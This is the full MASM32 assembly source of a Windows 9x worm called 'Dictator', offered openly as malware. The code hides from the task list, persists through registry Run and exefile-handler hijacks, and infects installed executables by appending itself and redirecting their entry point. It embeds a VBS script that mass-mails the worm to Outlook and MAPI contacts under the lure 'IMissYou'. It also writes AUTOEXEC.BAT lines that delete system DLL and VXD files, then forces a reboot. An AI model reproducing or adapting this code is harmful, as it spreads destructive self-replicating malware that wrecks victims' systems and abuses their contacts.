;=============
;INSTRUCTIONS:
;=======================
;WormName:Dictator
;Author:Eken Chan
;Version: Alpha 1.0
;Infect:*.EXE
;Kill:*.DLL *.VXD
;Assembler: MASM32
;Platform:Win 95/98/ME
;Size:5,632 Bytes
;=======================
.386
.model flat,stdcall
include d:\masm32\include\kernel32.inc
includelib d:\masm32\lib\kernel32.lib
HeaderSize=200h
CodeSize=1200h
DataSize=200h
VirusSize=HeaderSize+CodeSize+DataSize
.code
assume fs:@code
start:
call GetVersion
cmp eax,80000000h ;is the system Windows 2000/NT?
jb quit ;yes, let's quit
push offset Kdll;"KERNEL32.DLL"
call GetModuleHandleA
or eax,eax
jz quit ;if failure, quit
mov ebx,eax ;ebx=eax=handle to KERNEL32.DLL
call GetMainFuncs
push offset err
lea eax,[esp-4h]
xchg eax,fs:[0]
push eax;SEH
call a_GetCommandLineA
mov edi,eax ;edi->command line
mov al,22h;al='"'
mov ecx,0ffffffffh
cld ;DF=0
repnz scasb ;search for '"'
not ecx
cmp ecx,1
je continue
push 5h ;SW_SHOW
push edi;edi->the real command line
call GetStringLength
mov ecx,eax ;ecx=length of the real command line
dec eax
add edi,eax ;edi->end of command line
mov al,22h;al='"'
std ;DF=1
repnz scasb ;search for '"'
inc edi
mov byte ptr [edi],20h;change '"' to ' '
call a_WinExec
continue:
push offset Mutex ;mutex name
push 0;bInitialOwner=FALSE
push 0;lpMutexAttributes=NULL
call CreateMutexA
or eax,eax
jnz go_on ;if eax=handle to mutex, that means my worm hasn't run yet!
call GetLastError
cmp eax,183 ;ERROR_ALREADY_EXISTS?
je err
go_on:
push 1
push 0
call a_RegisterServiceProcess;hide my worm in the task list
mov ebx,offset FileName
push 100h
push ebx
push 0
call a_GetModuleFileNameA ;ebx->the full path of my worm
push 100h
push offset WinDir
call a_GetWindowsDirectoryA
push 100h
push offset SysDir
call a_GetSystemDirectoryA
mov esi,offset WinDir
mov edi,offset List
again:
push edi
push esi
call lstrcat
push esi
push ebx
call lstrcmpi
or eax,eax
jz skip
push 1;bFailIfExists=TRUE
push esi;lpNewFileName
push ebx;lpExistingFileName
call a_CopyFileA
skip:
call GetStringLength
add edi,eax
cmp byte ptr [edi],0
je done
add esi,100h
jmp again
done:
mov edi,offset Funcs@A
mov esi,offset a_RegCloseKey
push offset Adll;"ADVAPI32.DLL"
call a_LoadLibraryA
or eax,eax
jz trigger;fail to load dll, my worm triggers
call GetAPIs;get the func addresses in ADVAPI32.DLL
sub esp,8 ;space for local vars
push esp;phKey
push 0f003fh;KKEY_ALL_ACCESS
push 0;reserved
push offset Key_Run ;lpSubKey
push 80000002h;HKEY_LOCAL_MACHINE
call a_RegOpenKeyExA
mov ebx,[esp] ;ebx=hKey
push 11 ;data size
push offset List+12 ;"Dict32.exe"
push 1;REG_SZ
push 0;reserved
push offset Mutex ;value name
push ebx;hKey
call a_RegSetValueExA
call a_RegCloseKey
push esp;phKey
push 0f003fh;KEY_ALL_ACCESS
push 0;reserved
push offset Key_Exe ;lpSubKey
push 80000002h;HKEY_LOCAL_MACHINE
call a_RegOpenKeyExA
mov ebx,[esp] ;ebx=hKey
push offset Value
push offset WinDir
call lstrcat
mov edi,offset WinDir
call GetStringLength
push eax;data size
push edi;"%Windows%\Dictt.exe \"%1\" %*"
push 1;REG_SZ
push 0;reserved
push 0;default value
push ebx;hKey
call a_RegSetValueExA
call a_RegCloseKey
push 0;hTemplateFile=NULL
push 6h ;FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM
push 2h ;CREATE_ALWAYS
push 0;LPSECURITY_ATTRIBUTES=NULL
push 0;the share mode is 0
push 40000000h;GENERIC_WRITE
push offset vbsFile ;"C:\Dicta.vbs"
call a_CreateFileA
cmp eax,-1
je trigger;fail to create, then trigger
mov ebx,eax ;ebx=hFile
push 0;lpOverlapped=NULL
lea eax,[esp-1ch]
push eax;lpNumberOfBytesWritten
push vbsSize;number of bytes to write
push offset Dicta_vbs ;data buffer
push ebx;handle
call a_WriteFile
push ebx
call a_CloseHandle
push offset Wdll
call a_LoadLibraryA
or eax,eax
jz trigger;fail to load dll, trigger
push offset Funcs@W
push eax
call a_GetProcAddress
mov a_InternetGetConnectedState,eax;save the address
keep_working:
call Infect
push 0
lea eax,[esp-0eh]
push eax
call a_InternetGetConnectedState
or eax,eax
jz check_time
push 5h
push offset vbsFile
call a_WinExec
check_time:
call GetTickCount
cmp eax,36000000
jae trigger
push 60000
call a_Sleep
jmp keep_working
trigger:
push 0
push 20h
push 3h
push 0
push 0
push 40000000h
push offset Autoexec
call a_CreateFileA
cmp eax,-1
je reboot
mov ebx,eax
push 2h
push 0
push 0
push ebx
call a_SetFilePointer
push 0
lea eax,[esp-1ch]
push eax
push CmdLinesSize
push offset CmdLines
push ebx
call a_WriteFile
push ebx
call a_CloseHandle
reboot:
push 5h
push offset Rebootit
call a_WinExec
err:
pop dword ptr fs:[0]
add esp,4
quit:
push 0
call ExitProcess
new_thread:
push ebp
call @0
@0:
pop ebp
exit@0=exit-@0
lea eax,exit@0[ebp]
push eax
lea eax,[esp-4h]
xchg eax,fs:[0]
push eax;SEH
Mutex@0=Mutex-@0
lea eax,Mutex@0[ebp]
push eax
push 0
push 0
dw 95ffh
dd a_CreateMutexA-@0;call a_CreateMutexA-@0[ebp]
mov esi,eax
or eax,eax
jnz copy
dw 95ffh
dd a_GetLastError-@0;call a_GetLastError-@0[ebp]
cmp eax,183
je exit
copy:
SysDir@0=SysDir-@0
lea edi,SysDir@0[ebp]
push 0
push 20h
push 2h
push 0
push 0
push 0c0000000h
push edi
dw 95ffh
dd a_CreateFileA-@0 ;call a_CreateFileA-@0[ebp]
cmp eax,-1
je exit
mov ebx,eax
push 0
lea eax,[esp-1ch]
push eax
push VirusSize
start@0HeaderSize=start-@0-HeaderSize
lea eax,start@0HeaderSize[ebp]
push eax
push ebx
dw 95ffh
dd a_WriteFile-@0 ;call a_WriteFile-@0[ebp]
push ebx
dw 95ffh
dd a_CloseHandle-@0 ;call a_CloseHandle-@0[ebp]
push esi
dw 95ffh
dd a_CloseHandle-@0 ;call a_CloseHandle-@0[ebp]
push 5h
push edi
dw 95ffh
dd a_WinExec-@0 ;call a_WinExec-@0[ebp]
exit:
pop dword ptr fs:[0]
add esp,4
pop ebp
db 68h
EntryPoint dd ?
ret
;------------------------------------------
;parameters: ebx=eax=handle to KERNEL32.DLL
;returns: addresses of GetProcAddress
;WinExec
;------------------------------------------
GetMainFuncs proc
push ebp
push offset return
lea edi,[esp-4h]
xchg edi,fs:[0]
push edi;SEH
add eax,[eax+3ch]
mov eax,[eax+78h]
add eax,ebx ;eax->IMAGE_EXPORT_DIRECTORY STRUCT
mov ecx,[eax+18h] ;ecx=number of names
push ecx;save the number of names in stack
mov edx,[eax+24h]
add edx,ebx ;edx->name ordinals
mov esi,[eax+20h]
add esi,ebx ;esi->address of names
mov eax,[eax+1ch]
add eax,ebx ;eax->address of functions
push eax;save the address of functions in stack
mov edi,offset MainFuncs;edi->main func names
mov ebp,offset APIs ;ebp->where to store the addresses of APIs
next:
push esi;save esi
mov esi,[esi]
add esi,ebx ;esi->a function name
push ecx
call IsEqual
or ecx,ecx
pop ecx
jnz unequal
mov eax,[esp+8h];eax=number of names
sub eax,ecx ;eax=ordinal in the array of name ordinals
movzx eax,word ptr [edx+eax*2];eax=ordinal in the array of function addresses
shl eax,2 ;eax*4
add eax,[esp+4h];eax->RVA of the function I need
mov eax,[eax] ;eax=RVA of the function I need
add eax,ebx ;eax=address of the function I need
mov [ebp],eax ;save
call GetStringLength
add edi,eax ;edi->next func name
add ebp,4 ;ebp->next address
unequal:
pop esi ;restore esi
cmp byte ptr [edi],0
je finish ;it is the end of func names
add esi,4 ;next
loop next
finish:
add esp,8
return:
pop dword ptr fs:[0]
add esp,4
pop ebp
ret
GetMainFuncs endp
;-------------------------------------
;parameters: esi->a func name to check
;edi->a func name to get
;return: ecx=0(if equal)
;-------------------------------------
IsEqual proc
push edi;save edi
mov edi,esi ;edi=esi->a func name to check
call GetStringLength
pop edi ;restore edi
push edi;save edi
mov ecx,eax ;ecx=length of the func name
cld ;DF=0
repz cmpsb;comparition
pop edi ;restore edi
ret
IsEqual endp
;------------------------
;parameter: edi->a string
;return: eax=length
;------------------------
GetStringLength proc
push ecx;save regs
push edi
xor al,al ;al=0
mov ecx,0ffffffffh
cld ;DF=0
repnz scasb ;search for NULL
not ecx
mov eax,ecx ;eax=length
pop edi
pop ecx
ret ;restore regs and return
GetStringLength endp
;---------------------------------------------
;parameters: esi->where to store the addresses
;edi->func names
;eax=handle to dll
;returns: addresses of APIs
;---------------------------------------------
GetAPIs proc
mov ebx,eax ;ebx=handle to dll
loopit:
push edi
push ebx
call a_GetProcAddress
mov [esi],eax
call GetStringLength
add edi,eax ;edi->next func name
add esi,4 ;esi=next address
cmp byte ptr [edi],0;is the end of func names?
jne loopit;no, go on
ret
GetAPIs endp
;---------------
;parameter: none
;return: none
;---------------
Infect proc
push ebp
sub esp,4
push esp;phKey
push 0f003fh;KEY_ALL_ACCESS
push 0;reserved
lea eax,Key_App
push eax;lpSubKey
push 80000002h;HKEY_LOCAL_MACHINE
call a_RegOpenKeyExA
pop ebx ;ebx=hKey
or eax,eax
jnz FailToInfect
sub esp,100h
mov esi,esp
sub esp,100h
mov edi,esp
sub esp,4
xor ebp,ebp
more:
push 100h
push esi
push ebp
push ebx
call a_RegEnumKeyA
or eax,eax
jnz FailToEnum
mov dword ptr [esp],100h
push esp
push edi
push esi
push ebx
call a_RegQueryValueA
or eax,eax
jnz FailToQuery
cmp dword ptr [esp],1
jna FailToQuery
call _Infect
FailToQuery:
inc ebp
jmp more
FailToEnum:
push ebx
call a_RegCloseKey
FailToInfect:
add esp,204h
pop ebp
ret
Infect endp
;---------------------------
;parameter: edi->a file name
;return: none
;---------------------------
_Infect proc
pushad
push 0;hTemplateFile=NULL
push 27h;FILE_ATTRIBUTE_ARCHIVE|FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_READONLY|FILE_ATTRIBUTE_SYSTEM
push 3h ;OPEN_EXISTING
push 0;LPSECURITY_ATTRIBUTES=NULL
push 0;share mode is 0
push 0c0000000h ;GENERIC_READ|GENERIC_WRITE
push edi;file name
call a_CreateFileA
cmp eax,-1
je FailToOpen
mov ebx,eax
mov ebp,esp
sub esp,18h
lea eax,[ebp-8h]
push eax
lea eax,[ebp-10h]
push eax
lea eax,[ebp-18h]
push eax
push ebx
call a_GetFileTime
push 0
push ebx
call a_GetFileSize
mov edi,eax
add eax,VirusSize
push eax
push 0
push eax
push 0
push 4h
push 0
push ebx
call a_CreateFileMappingA
pop ecx
push ebx
cmp eax,-1
je FailToMap
mov ebx,eax
push ecx
push 0
push 0
push 0f001fh
push ebx
call a_MapViewOfFile
push ebx
or eax,eax
jz FailToView
push eax
add edi,eax
add eax,[eax+3ch]
cmp byte ptr [eax+1ah],0ech ;is it a infected file?
je Unmap
mov ebx,eax
mov byte ptr [ebx+1ah],0ech
mov eax,[ebx+34h]
add eax,[ebx+28h]
mov EntryPoint,eax
cld
mov esi,00400000h
mov ecx,HeaderSize/4
rep movsd
mov esi,00401000h
mov ecx,CodeSize/4
rep movsd
mov esi,00403000h
mov ecx,DataSize/4
rep movsd
movzx edi,word ptr [ebx+14h]
add edi,ebx
add edi,18h
mov cx,[ebx+6h]
dec cx
mov eax,28h
mul cx
add edi,eax
mov eax,[edi+0ch]
add eax,[edi+10h]
add eax,HeaderSize+new_thread-start
mov [ebx+28h],eax
add dword ptr [edi+10h],VirusSize
push dword ptr [edi+10h]
pop dword ptr [edi+8h]
mov dword ptr [edi+24h],0e000000eh
Unmap:
call a_UnmapViewOfFile
FailToView:
call a_CloseHandle
pop ebx
lea eax,[ebp-8h]
push eax
lea eax,[ebp-10h]
push eax
lea eax,[ebp-18h]
push eax
push ebx
call a_SetFileTime
push ebx
FailToMap:
call a_CloseHandle
xchg ebp,esp
FailToOpen:
popad
ret
_Infect endp
Data:
Mutex db 'Dictator',0
List db '\Dictt.exe',0
db '\Dict32.exe',0
db 0
WinDir db 100h dup(?)
SysDir db 100h dup(?)
FileName db 100h dup(?)
Autoexec db 'AUTOEXEC.BAT',0
CmdLines db '@del %WINDIR%\SYSTEM\*.DLL',0dh,0ah
db '@del %WINDIR%\SYSTEM\*.VXD',0dh,0ah
CmdLinesSize=$-CmdLines
Rebootit db 'Rundll32.exe %WINDIR%\SYSTEM\shell32.dll,SHExitWindowsEx 6',0
Kdll db 'KERNEL32.DLL',0
Adll db 'ADVAPI32.DLL',0
Wdll db 'WININET.DLL',0
Value db ' "%1" %*',0
Key_Run db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0
Key_Exe db 'SOFTWARE\CLASSES\exefile\shell\open\command',0
Key_App db 'SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths',0
vbsFile db 'C:\Dicta.vbs',0
Dicta_vbs db 'On Error Resume Next',0dh,0ah
db 'Set fso=CreateObject("Scripting.FileSystemObject")',0dh,0ah
db 'Set sysdir=fso.GetSpecialFolder(1)',0dh,0ah
db 'Set out=CreateObject("Outlook.Application")',0dh,0ah
db 'Set mail=out.CreateItem(0)',0dh,0ah
db 'mail.Subject="IMissYou"',0dh,0ah
db 'mail.Body="I cannot help missing you!"',0dh,0ah
db 'mail.Attachments.Add(sysdir&"\Dict32.exe")',0dh,0ah
db 'Set a=out.GetNameSpace("MAPI").AddressLists',0dh,0ah
db 'For Each a1 In a',0dh,0ah
db 'n=al.AddressEntries.Count',0dh,0ah
db 'If n<>0 Then',0dh,0ah
db 'For i=1 To n',0dh,0ah
db 'mail.Recipients.Add(a1.AddressEntries(i))',0dh,0ah
db 'Next',0dh,0ah
db 'End If',0dh,0ah
db 'Next',0dh,0ah
db 'mail.Send',0dh,0ah
db 'Dim m()',0dh,0ah
db 'Set MS=CreateObject("MSMAPI.MAPISession")',0dh,0ah
db 'Set MM=CreateObject("MSMAPI.MAPIMessages")',0dh,0ah
db 'MS.DownLoadMail=False',0dh,0ah
db 'MS.NewSession=False',0dh,0ah
db 'MS.LogonUI=True',0dh,0ah
db 'MS.SignOn',0dh,0ah
db 'MM.SessionID=MS.SessionID',0dh,0ah
db 'MM.FetchSorted=True',0dh,0ah
db 'MM.Fetch',0dh,0ah
db 'n=MM.MsgCount-1',0dh,0ah
db 'ReDim m(n)',0dh,0ah
db 'For i=0 To n',0dh,0ah
db 'MM.MsgIndex=i',0dh,0ah
db 'm(i)=MM.MsgOrigAddress',0dh,0ah
db 'Next',0dh,0ah
db 'For Each ma In m',0dh,0ah
db 'If IsMail(ma) Then',0dh,0ah
db 'MM.Compose',0dh,0ah
db 'MM.MsgSubject="IMissYou"',0dh,0ah
db 'MM.RecipAddress=ma',0dh,0ah
db 'MM.MsgNoteText="I cannot help missing you!"',0dh,0ah
db 'MM.AttachmentPathName=sysdir&"\Dict32.exe"',0dh,0ah
db 'MM.Send',0dh,0ah
db 'End If',0dh,0ah
db 'Next',0dh,0ah
db 'MS.SignOff',0dh,0ah
db 'Sub IsMail(S)',0dh,0ah
db 'IsMail=False',0dh,0ah
db 'm1=InStr(S, "@")',0dh,0ah
db 'm2=InStr(S, ".")',0dh,0ah
db 'If m1<>0 And m1<m2 Then IsMail=True',0dh,0ah
db 'End Sub',0dh,0ah
vbsSize=$-Dicta_vbs
MainFuncs db 'CloseHandle',0
db 'CopyFileA',0
db 'CreateFileA',0
db 'CreateFileMappingA',0
db 'CreateMutexA',0
db 'GetCommandLineA',0
db 'GetFileSize',0
db 'GetFileTime',0
db 'GetLastError',0
db 'GetModuleFileNameA',0
db 'GetProcAddress',0
db 'GetSystemDirectoryA',0
db 'GetWindowsDirectoryA',0
db 'LoadLibraryA',0
db 'MapViewOfFile',0
db 'RegisterServiceProcess',0
db 'SetFilePointer',0
db 'SetFileTime',0
db 'Sleep',0
db 'UnmapViewOfFile',0
db 'WinExec',0
db 'WriteFile',0
db 0
Funcs@A db 'RegCloseKey',0
db 'RegEnumKeyA',0
db 'RegOpenKeyExA',0
db 'RegQueryValueA',0
db 'RegSetValueExA',0
db 0
Funcs@W db 'InternetGetConnectedState',0
db 0
APIs:
a_CloseHandle dd ?
a_CopyFileA dd ?
a_CreateFileA dd ?
a_CreateFileMappingA dd ?
a_CreateMutexA dd ?
a_GetCommandLineA dd ?
a_GetFileSize dd ?
a_GetFileTime dd ?
a_GetLastError dd ?
a_GetModuleFileNameA dd ?
a_GetProcAddress dd ?
a_GetSystemDirectoryA dd ?
a_GetWindowsDirectoryA dd ?
a_LoadLibraryA dd ?
a_MapViewOfFile dd ?
a_RegisterServiceProcess dd ?
a_SetFilePointer dd ?
a_SetFileTime dd ?
a_Sleep dd ?
a_UnmapViewOfFile dd ?
a_WinExec dd ?
a_WriteFile dd ?
a_RegCloseKey dd ?
a_RegEnumKeyA dd ?
a_RegOpenKeyExA dd ?
a_RegQueryValueA dd ?
a_RegSetValueExA dd ?
a_InternetGetConnectedState dd ?
end start
|